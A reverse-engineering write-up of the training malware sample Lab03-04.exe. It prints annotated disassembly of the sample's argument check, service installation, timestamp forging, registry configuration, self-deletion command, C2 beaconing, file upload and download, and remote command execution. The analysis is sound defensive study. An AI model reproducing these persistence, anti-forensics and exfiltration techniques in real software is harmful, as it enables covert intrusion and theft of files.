Post

0x09_Lab03-04

Overview

FilenameSizeMD5
Lab03-04.exe60 KBb94af4a4d4af6eac81fc135abda1c40c

TL;DR: A shy (or oversensitive) malware that delete itself if not started with the right commandline. It installs a service and stores its configuration in the registry key HKLM\SOFTWARE\Microsoft \XPS (value Configuration). Once installed, the malware beacons its C&C with a request matching the regular expression [a-zA-Z]{4}\/[a-zA-Z]{4}\.[a-zA-Z]{3} (PCRE syntax) and receives commands. The main functionalities are uploading and downloading files, as well as creating a pipe to execute arbitrary commands. To delete itself, it executes the command cmd.exe /c del C:<malware_path> >> NUL.

Tools: IDA Free, x32dbg

IDB: Lab03-04.i64


Commandline

The code starts by parsing the commandline. If the malware is given the wrong arguments, it deletes itself. Below is a list of all the possibilities:

  • Lab03-04.exe -in abcd
  • Lab03-04.exe -in <ServiceName> abcd
  • Lab03-04.exe -re abcd
  • Lab03-04.exe -re <ServiceName> abcd
  • Lab03-04.exe -cc abcd
  • Lab03-04.exe -c x x x x abcd
  • Lab03-04.exe

Where -in stands for something in the line of “install” and -re for “remove”. -c and -cc are related to the configuration of the malware. If no arguments are provided, the default behaviour is to check the existence of the configuration in the registry. If no config is found the malware deletes itself and exits, else it enters its main malicious function.

In all but one case, the last argument has to be the string “abcd”. The next section gives more information about this check.

Check of the last argument

The following instructions are seen at the beginning of the function _main():

1
2
3
4
5
6
7
8
9
10
11
12
.text:00402AFD      cmp     [ebp+argc], 1
.text:00402B01      jnz     short has_args
[...] ; call delete routine

.text:00402B1D has_args:
.text:00402B1D      mov     eax, [ebp+argc]
.text:00402B20      mov     ecx, [ebp+argv]
.text:00402B23      mov     edx, [ecx+eax*4-4]  ; pLast
.text:00402B27      mov     [ebp+ptr_last_arg], edx
.text:00402B2A      mov     eax, [ebp+ptr_last_arg]
.text:00402B2D      push    eax
.text:00402B2E      call    CheckLastArg

In the snippet above, argc is the total number of argument of the commandline (the first one being the path of the malware being executed), and argv is a table of pointers to each argument of the commandline. At address 0x00402B23, a pointer to the last argument is retrieved. Below is a layout of the memory if the commandline has, for example, 3 arguments:

1
2
3
4
5
6
7
8
9
; eax=argc=3

ecx            edx=ecx+(3*4-4)
 |                   |
 v                   v
 +---------+---------+---------+
 | ptrArg1 | ptrArg2 | ptrArg3 |
 +---------+---------+---------+
   4 bytes   4 bytes   4 bytes

The last argument is checked inside function 0x00402510 (renamed CheckLastArg()).

First, its length has to be 4 bytes:

1
2
3
4
5
6
7
8
9
10
.text:00402515      mov     edi, [ebp+ptrLastArg]
.text:00402518      or      ecx, 0FFFFFFFFh
.text:0040251B      xor     eax, eax
.text:0040251D      repne scasb     ; scan string until \x00
.text:0040251F      not     ecx
.text:00402521      add     ecx, 0FFFFFFFFh
.text:00402524      cmp     ecx, 4          ; length
.text:00402527      jz      short length_4
.text:00402529      xor     eax, eax
.text:0040252B      jmp     short badgirl

Second, it has to start with letter a:

1
2
3
4
5
6
7
8
.text:0040252D      mov     eax, [ebp+ptrLastArg]
.text:00402530      mov     cl, [eax]       ; x[0]
.text:00402532      mov     [ebp+tmp], cl
.text:00402535      movsx   edx, [ebp+tmp]
.text:00402539      cmp     edx, 'a'
.text:0040253C      jz      short is_a
.text:0040253E      xor     eax, eax
.text:00402540      jmp     short badgirl

Third, the next letter has to be b:

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:00402542 is_a:
.text:00402542      mov     eax, [ebp+ptrLastArg]
.text:00402545      mov     cl, [eax+1]     ; x[1]
.text:00402548      mov     [ebp+tmp], cl
.text:0040254B      mov     edx, [ebp+ptrLastArg]
.text:0040254E      mov     al, [ebp+tmp]
.text:00402551      sub     al, [edx]       ; x[1]-0x61
.text:00402553      mov     [ebp+tmp], al
.text:00402556      movsx   ecx, [ebp+tmp]
.text:0040255A      cmp     ecx, 1          ; 1=0x62-0x61
.text:0040255D      jz      short is_b
.text:0040255F      xor     eax, eax
.text:00402561      jmp     short badgirl

Fourth, the following letter has to be c:

1
2
3
4
5
6
7
8
9
10
11
12
.text:00402563 is_b:
.text:00402563      mov     al, [ebp+tmp]   ; 1
.text:00402566      mov     dl, 63h
.text:00402568      imul    dl              ; al*dl=1*0x63
.text:0040256A      mov     [ebp+tmp], al
.text:0040256D      movsx   eax, [ebp+tmp]
.text:00402571      mov     ecx, [ebp+ptrLastArg]
.text:00402574      movsx   edx, byte ptr [ecx+2]
.text:00402578      cmp     eax, edx
.text:0040257A      jz      short is_c
.text:0040257C      xor     eax, eax
.text:0040257E      jmp     short badgirl

Fifth, the last letter has to be d:

1
2
3
4
5
6
7
8
9
10
11
.text:00402580 is_c:
.text:00402580      mov     al, [ebp+tmp]
.text:00402583      add     al, 1           ; 0x63+1
.text:00402585      mov     [ebp+tmp], al
.text:00402588      movsx   ecx, [ebp+tmp]
.text:0040258C      mov     edx, [ebp+ptrLastArg]
.text:0040258F      movsx   eax, byte ptr [edx+3]
.text:00402593      cmp     ecx, eax
.text:00402595      jz      short is_d
.text:00402597      xor     eax, eax
.text:00402599      jmp     short badgirl

Argument -in

Argument -in can be used with or without an additional string after it. If no additional string is provided, function 0x004025B0 (renamed GetBaseFilename()) is called: it uses GetModuleFileNameA and __splitpath() to return the name of the malware (without its extension) in a buffer. This string will be used to set the parameters lpDisplayName and lpServiceName during service creation.

Whether an additional string is provided or not, the code flow will reach function 0x00402600 (renamed Install()), which will install the malware. Malware installation is explained in the dedicated section.

Argument -re

Argument -re follows the same logic as argument -in: if no service name is provided, the default is the base name of the malware.

Whether a service name is provided or not, the code flow will reach function 0x00402900 (renamed Remove()), which will remove the malware. More information are given in the section dedicated to removal.

Argument -cc

Argument -cc is used without additional parameter and prints the configuration stored in the registry.

Argument -c

Argument -c is used with 4 parameters and changes the malware config stored in the registry.

No argument

If executed without arguments, the malware checks the presence of its configuration in the registry. It deletes itself if no config is found, else it enters function 0x00402360 (renamed (Backdoor()). This function allows to upload / download files from / to the infected host, and to execute arbitrary commands.

Installation

Creating the service

Malware installation start in function 0x00402600 (renamed Install()).

After requesting an all access handle to the SCM (code not shown), it creates an auto-start shared service:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:004027D7      push    0                   ; lpPassword
.text:004027D9      push    0                   ; lpServiceStartName
.text:004027DB      push    0                   ; lpDependencies
.text:004027DD      push    0                   ; lpdwTagId
.text:004027DF      push    0                   ; lpLoadOrderGroup
.text:004027E1      lea     eax, [ebp+Src]      ; %SYSTEMROOT%\\system32\\Lab03-04.exe
.text:004027E7      push    eax                 ; lpBinaryPathName
.text:004027E8      push    SERVICE_ERROR_NORMAL ; dwErrorControl
.text:004027EA      push    SERVICE_AUTO_START  ; dwStartType
.text:004027EC      push    SERVICE_WIN32_SHARE_PROCESS ; dwServiceType
.text:004027EE      push    0F01FFh             ; dwDesiredAccess
.text:004027F3      lea     ecx, [ebp+DisplayName]
.text:004027F9      push    ecx                 ; lpDisplayName
.text:004027FA      mov     edx, [ebp+lpServiceName]
.text:004027FD      push    edx                 ; lpServiceName
.text:004027FE      mov     eax, [ebp+hSCManager]
.text:00402804      push    eax                 ; hSCManager
.text:00402805      call    ds:CreateServiceA

Where lpBinaryPath points to the string C:\Windows\system32\Lab03-04.exe.

The parameter lpDisplayName points to the string <ServiceName> Manager Service: this is the name displayed when we explore services with the GUI app.

The parameter lpServiceName points to the string <ServiceName>. This is the name of the subkey where the service is registered when we explore the registry key HKLM\SYSTEM\ControlSet001\Services.

The variable <ServiceName> is simply the string following the -in parameter, or the malware basename if no string was provided.

Moving to the System32 folder

If the creation of the service is successful, the malware drops a copy of itself to the path C:\Windows\system32\Lab03-04.exe:

1
2
3
4
5
6
.text:00402891      push    0                           ; bFailIfExists
.text:00402893      lea     ecx, [ebp+BinaryPathName]   ; C:\Windows\system32\Lab03-04.exe
.text:00402899      push    ecx                         ; lpNewFileName
.text:0040289A      lea     edx, [ebp+SelfPath]         ; instance currently executed
.text:004028A0      push    edx                         ; lpExistingFileName
.text:004028A1      call    ds:CopyFileA

Tampering with timestamps

After the copy, the malware calls function 0x004015B0 that alters NTFS time-related information of the newly created file. This function retrieves the path of kernel32.dll and calls function 0x004014E0 (renamed CopyTimestamps()):

1
2
3
4
5
.text:0040160D      lea     eax, [ebp+path_to_kernel32]
.text:00401613      push    eax             ; lpFileName
.text:00401614      mov     ecx, [ebp+path_to_binary_service]
.text:00401617      push    ecx             ; LPCSTR
.text:00401618      call    CopyTimestamps

Function CopyTimestamps() uses the API CreateFileA to get a handle with read permission on kernel32.dll (code not shown), and calls GetFileTime to retrieve its time information:

1
2
3
4
5
6
7
8
9
.text:00401515      lea     ecx, [ebp+LastWriteTime]
.text:00401518      push    ecx             ; lpLastWriteTime
.text:00401519      lea     edx, [ebp+LastAccessTime]
.text:0040151C      push    edx             ; lpLastAccessTime
.text:0040151D      lea     eax, [ebp+CreationTime]
.text:00401520      push    eax             ; lpCreationTime
.text:00401521      mov     ecx, [ebp+tmp]
.text:00401524      push    ecx             ; hFile
.text:00401525      call    ds:GetFileTime

Then it calls CreateFileA a second time, this time to get a handle with write permissions on the malware copied in the folder System32 (code not shown). Using this handle and the time information from kernel32.dll, it calls SetFileTime and change the time-related information of the malware:

1
2
3
4
5
6
7
8
9
.text:00401569      lea     edx, [ebp+LastWriteTime]
.text:0040156C      push    edx             ; lpLastWriteTime
.text:0040156D      lea     eax, [ebp+LastAccessTime]
.text:00401570      push    eax             ; lpLastAccessTime
.text:00401571      lea     ecx, [ebp+CreationTime]
.text:00401574      push    ecx             ; lpCreationTime
.text:00401575      mov     edx, [ebp+tmp]
.text:00401578      push    edx             ; hFile
.text:00401579      call    ds:SetFileTime

This trick is to avoid having the malware poping at the top of the list when sorting files in System32 according to, for example, their creation date.

Saving the config in the registry

The last step of the installation is writting some configuration information in the registry. This is the purpose of function 0x00401070, here renamed REG_SaveConfigToRegistry():

1
2
3
4
5
.text:004028CC      push    offset a60      ; "60"
.text:004028D1      push    offset a80      ; "80"
.text:004028D6      push    offset aHttpWwwPractic ; "http://www.practicalmalwareanalysis.com"
.text:004028DB      push    offset aUps     ; "ups"
.text:004028E0      call    REG_SaveConfigToRegistry

Inside this function, a new registry key named SOFTWARE\Microsoft \XPS (note the whitespace) is created in the hive HKLM:

1
2
3
4
5
6
7
8
9
10
.text:0040118A      lea     ecx, [ebp+phkResult]
.text:00401190      push    ecx             ; phkResult
.text:00401191      push    0               ; lpSecurityAttributes
.text:00401193      push    KEY_ALL_ACCESS  ; samDesired
.text:00401198      push    0               ; dwOptions
.text:0040119A      push    0               ; lpClass
.text:0040119C      push    0               ; Reserved
.text:0040119E      push    offset SubKey   ; "SOFTWARE\\Microsoft \\XPS"
.text:004011A3      push    HKEY_LOCAL_MACHINE ; hKey
.text:004011A8      call    ds:RegCreateKeyExA

The registry value Configuration is added to this key. It is set to contain up to 0x1000 bytes of binary data:

1
2
3
4
5
6
7
8
9
.text:004011B9                 push    1000h           ; cbData
.text:004011BE                 lea     edx, [ebp+Data]
.text:004011C4                 push    edx             ; lpData
.text:004011C5                 push    REG_BINARY      ; dwType
.text:004011C7                 push    0               ; Reserved
.text:004011C9                 push    offset ValueName ; "Configuration"
.text:004011CE                 mov     eax, [ebp+phkResult]
.text:004011D4                 push    eax             ; hKey
.text:004011D5                 call    ds:RegSetValueExA

Below is a memory dump of the binary data associated to this registry value:

1
2
3
4
5
0019C2BC  75 70 73 00 68 74 74 70 3A 2F 2F 77 77 77 2E 70  ups.http://www.p  
0019C2CC  72 61 63 74 69 63 61 6C 6D 61 6C 77 61 72 65 61  racticalmalwarea  
0019C2DC  6E 61 6C 79 73 69 73 2E 63 6F 6D 00 38 30 00 36  nalysis.com.80.6  
0019C2EC  30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  0...............  
[...] 

Some elements already make sense, such as the domain and port 80. I haven’t seen any specific use of the data ups or 60.

Removal

Deleting the service

Again, an all access handle is requested to the SCM. Then APIs OpenServiceA and DeleteService are called:

1
2
3
4
5
6
7
8
9
10
11
.text:00402934      push    SERVICE_ALL_ACCESS ; dwDesiredAccess
.text:00402939      mov     eax, [ebp+lpServiceName]
.text:0040293C      push    eax             ; lpServiceName
.text:0040293D      mov     ecx, [ebp+hSCManager]
.text:00402943      push    ecx             ; hSCManager
.text:00402944      call    ds:OpenServiceA
.text:0040294A      mov     [ebp+hService], eax
[...]
.text:00402970      mov     eax, [ebp+hService]
.text:00402976      push    eax             ; hService
.text:00402977      call    ds:DeleteService

Deleting the malware

The path to the malware is built, and the API DeleteFile is called:

1
2
3
.text:00402A96      lea     edx, [ebp+Dst]  ; C:\\Windows\\system32\\Lab03-04.exe
.text:00402A9C      push    edx             ; lpFileName
.text:00402A9D      call    ds:DeleteFileA

Wiping the config

The config is deleted in two steps. First, 4 pointers to a null dword are pushed on the stack and used to overwrite any existing config:

1
2
3
4
5
.text:00402AAE      push    offset dwNull
.text:00402AB3      push    offset dwNull
.text:00402AB8      push    offset dwNull
.text:00402ABD      push    offset dwNull
.text:00402AC2      call    REG_SaveConfigToRegistry

Opening the registry key where the config is stored:

1
2
3
4
5
6
7
8
9
10
11
.text:00401188      push    0               ; lpdwDisposition
.text:0040118A      lea     ecx, [ebp+phkResult]
.text:00401190      push    ecx             ; phkResult
.text:00401191      push    0               ; lpSecurityAttributes
.text:00401193      push    KEY_ALL_ACCESS  ; samDesired
.text:00401198      push    0               ; dwOptions
.text:0040119A      push    0               ; lpClass
.text:0040119C      push    0               ; Reserved
.text:0040119E      push    offset SubKey   ; "SOFTWARE\\Microsoft \\XPS"
.text:004011A3      push    HKEY_LOCAL_MACHINE ; hKey
.text:004011A8      call    ds:RegCreateKeyExA

Saving the null dwords:

1
2
3
4
5
6
7
8
9
10
; data -> zeroed buffer
.text:004011B9      push    1000h           ; cbData
.text:004011BE      lea     edx, [ebp+Data]
.text:004011C4      push    edx             ; lpData
.text:004011C5      push    REG_BINARY      ; dwType
.text:004011C7      push    0               ; Reserved
.text:004011C9      push    offset ValueName ; "Configuration"
.text:004011CE      mov     eax, [ebp+phkResult]
.text:004011D4      push    eax             ; hKey
.text:004011D5      call    ds:RegSetValueExA

Deleting the registry key

Once the config has been wiped, the value Configuration is deleted:

1
2
3
4
.text:00401244      push    offset ValueName ; "Configuration"
.text:00401249      mov     ecx, [ebp+phkResult]
.text:0040124C      push    ecx             ; hKey
.text:0040124D      call    ds:RegDeleteValueA

Backdoor

The malicious function starts by retrieving the config data from the registry, and enters function 0x00402020 (renamed NET_IO()).

Beaconing and receiving commands

Function NET_IO() starts with a call to function 0x00401E60 (NET_RequestCommands()) which sends a beacon to the C&C and receives commands.

The beacon is generated inside function 0x401D80 (renamed NET_GenRandomResource()): it is a randomly generated resource location matching the following regex pattern:

  • [a-zA-Z]{4}\/[a-zA-Z]{4}\.[a-zA-Z]{3}

This regex matches, for exemple, a string like “abcd/efgh.ijk”.

The beacon is sent by the function 0x401AF0 (NET_SendsBeaconAndReceivesCommand()). Below is an example request observed while debugging:

  • GET FXtt/nHZG.klA HTTP/1.0\x0D\x0A\x0D\x0A

If the beacon is successfully sent, up to 0x1000 bytes of data are received by chunks of 0x200 bytes. Each chunk is expected to ends with the terminator \r\n\r\n (\x0D\x0A\x0D\x0A), else the connection is closed by the client.

Back to the function  NET_RequestCommands(), data received from the C&C are processed. The useful content is plaintext located between the markers \x60\x27\x60\x27\x60\x00 (marker start) and \x27\x60\x27\x60\x27\x00 (marker end).

Dispatching commands

Back to NET_IO(), commands are dispatched. It can be one of the following:

  • UPLOAD
  • DOWNLOAD
  • CMD
  • SLEEP
  • NOTHING

Both  UPLOAD and DOWNLOAD are from the point of view of the remote operator. So, UPLOAD will write to the disk of the infected host while DOWNLOAD will read from the disk of the infected host.

Most of the commands are followed by one or two paramters, and these parameters are retrieved with calls to _strtok(). Below illustrate the case of the SLEEP command:

1
2
3
4
5
6
7
8
9
10
11
12
13
; expected: "SLEEP SleepTime"
.text:00402076 cmd_sleep:   
.text:00402076      push    offset space_ascii  ; \x20
.text:0040207B      lea     edx, [ebp+received_content]
.text:00402081      push    edx                 ; char *
.text:00402082      call    _strtok             ; break into tokens and points to the first one
.text:00402087      add     esp, 8
.text:0040208A      mov     [ebp+token_sleep], eax
.text:00402090      push    offset space_ascii  ; " "
.text:00402095      push    0                   ; NULL
.text:00402097      call    _strtok             ; get next token
.text:0040209C      add     esp, 8
.text:0040209F      mov     [ebp+token_sleep], eax ; save it

The first call to _strtok() takes the following parameters:

  • A pointer to the content received from the C2
  • A pointer to a delimiter (here a space)

The function uses the delimiter parameter to break the string into a serie of tokens, and returns a pointer to the first one. In Python we’d get something like this: ["SLEEP", "X"], with “X” being the string representation of an integer. The second call to to _strtok() takes the following parameters:

  • null
  • A pointer to the same delimiter (a space)

This time, the call will return a pointer to the second token (“X”).

Command UPLOAD

The expected format of the command is UPLOAD Port FileName. The values of Port and FileName are retrieved through calls to _strtok() as explained previously. This command leads to a call to function 0x004019E0 (renamed NET_Upload()):

1
2
3
4
5
6
7
8
.text:00402153      mov     [ebp+token_upload], eax ; token[2]=FileName
.text:00402159      mov     edx, [ebp+token_upload]
.text:0040215F      push    edx
.text:00402160      mov     eax, [ebp+port]
.text:00402166      push    eax             ; token[1]=port
.text:00402167      mov     ecx, [ebp+C2]
.text:0040216A      push    ecx             ; malicious domain
.text:0040216B      call    NET_Upload

Inside the function NET_Upload(), a socket connection is established with the C&C and the API CreateFileA is used to get a file handle with write permission (code not shown). Then, APIs recv and WriteFile are called in a loop to download and write an arbitrary file by chunks of 0x200 bytes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.text:00401A53 download_continue:
.text:00401A53      push    0               ; flags
.text:00401A55      push    200h            ; len
.text:00401A5A      lea     edx, [ebp+Buffer]
.text:00401A60      push    edx             ; buf
.text:00401A61      mov     eax, [ebp+s]
.text:00401A64      push    eax             ; s
.text:00401A65      call    ds:recv
.text:00401A6B      mov     [ebp+nNumberOfBytesToWrite], eax
.text:00401A6E      push    0               ; lpOverlapped
.text:00401A70      push    0               ; lpNumberOfBytesWritten
.text:00401A72      mov     ecx, [ebp+nNumberOfBytesToWrite]
.text:00401A75      push    ecx             ; nNumberOfBytesToWrite
.text:00401A76      lea     edx, [ebp+Buffer]
.text:00401A7C      push    edx             ; lpBuffer
.text:00401A7D      mov     eax, [ebp+hFile]
.text:00401A83      push    eax             ; hFile
.text:00401A84      call    ds:WriteFile
[...]
.text:00401AAE write_success:
.text:00401AAE      cmp     [ebp+nNumberOfBytesToWrite], 0
.text:00401AB2      jg      short download_continue

After that, the time-related information of the file are altered using the method described in the Installation section.

Command DOWNLOAD

The expected format of the command is DOWNLOAD Port FileName:

1
2
3
4
5
6
7
.text:0040220D      mov     edx, [ebp+token_download] ; token[2]=FileName
.text:00402213      push    edx
.text:00402214      mov     eax, [ebp+port_]
.text:0040221A      push    eax              ; token[1]=port
.text:0040221B      mov     ecx, [ebp+C2]
.text:0040221E      push    ecx              ; C&C
.text:0040221F      call    NET_Download

Inside the function NET_Download(), a connection is established with the C&C and the API CreateFileA is used, this time to get a file handle with read permission (code not shown).

The API ReadFile is called in a loop to read the requested file by chunks of 0x200 bytes until the error ERROR_HANDLE_EOF occurs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:004018E3 read_continue:
.text:004018E3      mov     [ebp+total_sent], 0
.text:004018ED      push    0               ; lpOverlapped
.text:004018EF      lea     edx, [ebp+NumberOfBytesRead]
.text:004018F2      push    edx             ; lpNumberOfBytesRead
.text:004018F3      push    200h            ; nNumberOfBytesToRead
.text:004018F8      lea     eax, [ebp+Buffer]
.text:004018FE      push    eax             ; lpBuffer
.text:004018FF      mov     ecx, [ebp+hFile]
.text:00401905      push    ecx             ; hFile
.text:00401906      call    ds:ReadFile
.text:0040190C      test    eax, eax        ; 0 if an error occurred
.text:0040190E      jnz     short send_continue 
.text:00401910      call    ds:GetLastError
.text:00401916      cmp     eax, ERROR_HANDLE_EOF
.text:00401919      jz      short end_of_file
[...]
.text:004019A8      cmp     [ebp+NumberOfBytesRead], 0 
.text:004019AC      ja      read_continue

Within this loop is a second one sending the data with the API send:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.text:0040193E end_of_file:
.text:0040193E      mov     [ebp+NumberOfBytesRead], 0
.text:00401945 send_continue:
.text:00401945      push    0               ; flags
.text:00401947      mov     ecx, [ebp+NumberOfBytesRead]
.text:0040194A      push    ecx             ; len
.text:0040194B      lea     edx, [ebp+Buffer]
.text:00401951      push    edx             ; buf
.text:00401952      mov     eax, [ebp+s]
.text:00401955      push    eax             ; s
.text:00401956      call    ds:send
.text:0040195C      mov     [ebp+current_sent], eax
.text:00401962      cmp     [ebp+current_sent], 0FFFFFFFFh
.text:00401969      jnz     short update_counter
[...]
.text:0040198B update_counter:  
.text:0040198B      mov     eax, [ebp+total_sent]
.text:00401991      add     eax, [ebp+current_sent]
.text:00401997      mov     [ebp+total_sent], eax
.text:0040199D      mov     ecx, [ebp+total_sent]
.text:004019A3      cmp     ecx, [ebp+NumberOfBytesRead]
.text:004019A6      jb      short send_continue
.text:004019A8      cmp     [ebp+NumberOfBytesRead], 0 ; data from the file 
.text:004019AC      ja      read_continue
; exit

Command CMD

The expected format of the command is CMD Port Command. This command calls _popen, which creates a pipe (in read+binary mode) and executes a command:

1
2
3
4
5
6
7
.text:004022BB      mov     [ebp+token_cmd], eax ; token[2]=command to execute
.text:004022C1      push    offset aRb      ; "rb"
.text:004022C6      mov     edx, [ebp+token_cmd]
.text:004022CC      push    edx             ; char *
.text:004022CD      call    __popen
.text:004022D2      add     esp, 8
.text:004022D5      mov     [ebp+pFILE], eax

As stated in the MSDN, the other end of the pipe is associated with the spawned command’s stdin and stdout.

The stream returned by _popen will be used inside the function SendStreamContent():

1
2
3
4
5
6
7
.text:004022EB      mov     eax, [ebp+pFILE] ; stream
.text:004022F1      push    eax             
.text:004022F2      mov     ecx, [ebp+port]  ; token[1]=port
.text:004022F8      push    ecx
.text:004022F9      mov     edx, [ebp+C2]    ; C&C
.text:004022FC      push    edx
.text:004022FD      call    SendStreamContent

Similarly to the preceeding commands, the function SendStreamContent() starts by establishing a socket connection to the C&C (code not shown). Then it enters a first loop where it uses _fread to read the content of the stream (stdin and stdout of the spawned command) by chunks of 0x200 bytes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:004017C2 continue_reading:
.text:004017C2      mov     [ebp+total_sent], 0
.text:004017CC      mov     eax, [ebp+pFILE]
.text:004017CF      push    eax             ; FILE *
.text:004017D0      push    200h            ; max items to read
.text:004017D5      push    1               ; size of 1 item
.text:004017D7      lea     ecx, [ebp+buf]
.text:004017DD      push    ecx             ; void *
.text:004017DE      call    _fread
.text:004017E3      add     esp, 10h
.text:004017E6      mov     [ebp+len], eax
[...]
.text:0040183F      cmp     [ebp+len], 0
.text:00401843      ja      continue_reading

Within this first loop is a second one, used to send to the attacker data read from the stream:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
.text:004017E9 continue_sending:
.text:004017E9      push    0               ; flags
.text:004017EB      mov     edx, [ebp+len]
.text:004017EE      push    edx             ; len
.text:004017EF      lea     eax, [ebp+buf]
.text:004017F5      push    eax             ; buf
.text:004017F6      mov     ecx, [ebp+s]
.text:004017F9      push    ecx             ; s
.text:004017FA      call    ds:send
.text:00401800      mov     [ebp+current_sent], eax
.text:00401806      cmp     [ebp+current_sent], 0FFFFFFFFh
.text:0040180D      jnz     short update_counter
[...]
.text:00401822 update_counter:
.text:00401822      mov     eax, [ebp+total_sent]
.text:00401828      add     eax, [ebp+current_sent]
.text:0040182E      mov     [ebp+total_sent], eax
.text:00401834      mov     ecx, [ebp+total_sent]
.text:0040183A      cmp     ecx, [ebp+len]
.text:0040183D      jb      short continue_sending
.text:0040183F      cmp     [ebp+len], 0    ; data read from the stream
.text:00401843      ja      continue_reading

Command SLEEP

The expected format of the command is SLEEP SleepTime:

1
2
3
4
5
6
7
8
9
.text:004020A5      mov     eax, [ebp+token_sleep]  ; token[1]
.text:004020AB      push    eax                     ; char *
.text:004020AC      call    _atoi                   ; ascii to integer
.text:004020B1      add     esp, 4
.text:004020B4      mov     [ebp+sleep_time], eax   ; in seconds
.text:004020BA      mov     ecx, [ebp+sleep_time]
.text:004020C0      imul    ecx, 1000
.text:004020C6      push    ecx                     ; dwMilliseconds
.text:004020C7      call    ds:Sleep

Command NOTHING

If the received command doesn’t match any of the ones presented above, we reach a code block comparing it with the string “NOTHING”. The result of the string comparison is not taken into account, the dispatch function just exits.


EOF

This post is licensed under CC BY 4.0 by the author.